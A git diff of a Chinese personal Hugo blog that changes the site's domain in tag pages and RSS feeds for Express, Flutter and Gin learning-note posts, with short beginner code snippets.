         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/express/index.xml b/tags/express/index.xml
index bc63ff32..56bc9acf 100644
--- a/tags/express/index.xml
+++ b/tags/express/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Express on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/express/</link>
+    <link>https://chenjunlinabc.github.io/tags/express/</link>
     <description>Recent content in Express on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 28 Feb 2022 18:04:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/express/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 28 Feb 2022 18:04:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/express/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Express-Web应用框架</title>
-      <link>https://xiaochenabc123.github.io/posts/138/</link>
+      <link>https://chenjunlinabc.github.io/posts/138/</link>
       <pubDate>Mon, 28 Feb 2022 18:04:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/138/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/138/</guid>
       <description>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express &amp;ndash;save
@@ -31,7 +31,7 @@ npm install
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require(&amp;quot;express&amp;quot;)
const app = express()
app.get(&#39;/&#39;,function(req,res){ res.end(&amp;quot;hallo world!&amp;quot;)
})
app.listen(3000)
运行
+const express = require(&amp;quot;express&amp;quot;) const app = express() app.get(&#39;/&#39;,function(req,res){ res.end(&amp;quot;hallo world!&amp;quot;) }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -42,7 +42,7 @@ app.use(&amp;rsquo;/src&amp;rsquo;,express.static(&amp;lsquo;src&amp;rsquo;))
 app.use(require(&amp;lsquo;cors&amp;rsquo;)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require(&#39;mongoose&#39;)
mongoose.connect(&#39;mongodb://localhost:27014/test&#39;,{useNewUrlParser: true})
const testdb = mongoose.model(&#39;testdb&#39;,new mongoose.Schema({
_id: Number,
title: String
}))
/*testdb.inserMany([
{_id: 1, title: &amp;quot;abc&amp;quot;},
{_id: 2, title: &amp;quot;xyz&amp;quot;}
{_id: 3, title: &amp;quot;abcxyz&amp;quot;}
])*/
app.</description>
+const mongoose = require(&#39;mongoose&#39;) mongoose.connect(&#39;mongodb://localhost:27014/test&#39;,{useNewUrlParser: true}) const testdb = mongoose.model(&#39;testdb&#39;,new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: &amp;quot;abc&amp;quot;}, {_id: 2, title: &amp;quot;xyz&amp;quot;} {_id: 3, title: &amp;quot;abcxyz&amp;quot;} ])*/ app.</description>
     </item>
     
   </channel>
diff --git a/tags/express/page/1/index.html b/tags/express/page/1/index.html
index e0cfb212..93d0970a 100644
--- a/tags/express/page/1/index.html
+++ b/tags/express/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/express/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/express/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/express/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/express/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/express/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/express/"></head></html>
\ No newline at end of file
diff --git a/tags/flutter/index.html b/tags/flutter/index.html
index 3affc072..bada2571 100644
--- a/tags/flutter/index.html
+++ b/tags/flutter/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Flutter | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/flutter/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/flutter/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Flutter"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/flutter/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Flutter"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Flutter</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Flutter框架学习笔记</h2></header><div class=entry-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Flutter | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/flutter/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/flutter/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Flutter"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/flutter/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Flutter"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Flutter</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Flutter框架学习笔记</h2></header><div class=entry-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
 https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip
@@ -33,14 +33,7 @@
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() => runApp(MyApp());
-class MyApp extends StatelessWidget{
-@override
-Widget build(BuildContext context){
-return MaterialApp(
-title: "hallo word", // app的title
-theme: ThemeData(
-primarySwatch: Colors....</p></div><footer class=entry-footer><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Flutter框架学习笔记" href=https://xiaochenabc123.github.io/posts/141/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+void main() => runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: "hallo word", // app的title theme: ThemeData( primarySwatch: Colors....</p></div><footer class=entry-footer><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Flutter框架学习笔记" href=https://chenjunlinabc.github.io/posts/141/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/flutter/index.xml b/tags/flutter/index.xml
index 1d725375..3d59a64d 100644
--- a/tags/flutter/index.xml
+++ b/tags/flutter/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Flutter on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/flutter/</link>
+    <link>https://chenjunlinabc.github.io/tags/flutter/</link>
     <description>Recent content in Flutter on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 22 Mar 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/flutter/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 22 Mar 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/flutter/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Flutter框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/141/</link>
+      <link>https://chenjunlinabc.github.io/posts/141/</link>
       <pubDate>Tue, 22 Mar 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/141/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/141/</guid>
       <description>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
@@ -53,7 +53,7 @@ flutter项目下的lib/main.dart，class MyApp类下
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() =&amp;gt; runApp(MyApp());
class MyApp extends StatelessWidget{
@override
Widget build(BuildContext context){
return MaterialApp(
title: &amp;quot;hallo word&amp;quot;, // app的title
theme: ThemeData(
primarySwatch: Colors.</description>
+void main() =&amp;gt; runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: &amp;quot;hallo word&amp;quot;, // app的title theme: ThemeData( primarySwatch: Colors.</description>
     </item>
     
   </channel>
diff --git a/tags/flutter/page/1/index.html b/tags/flutter/page/1/index.html
index e3a5bc4e..9924b619 100644
--- a/tags/flutter/page/1/index.html
+++ b/tags/flutter/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/flutter/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/flutter/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/flutter/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/flutter/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/flutter/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/flutter/"></head></html>
\ No newline at end of file
diff --git a/tags/gin/index.html b/tags/gin/index.html
index c1763860..89198afc 100644
--- a/tags/gin/index.html
+++ b/tags/gin/index.html
@@ -1,38 +1,18 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Gin | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/gin/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/gin/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Gin"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/gin/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Gin"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Gin</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
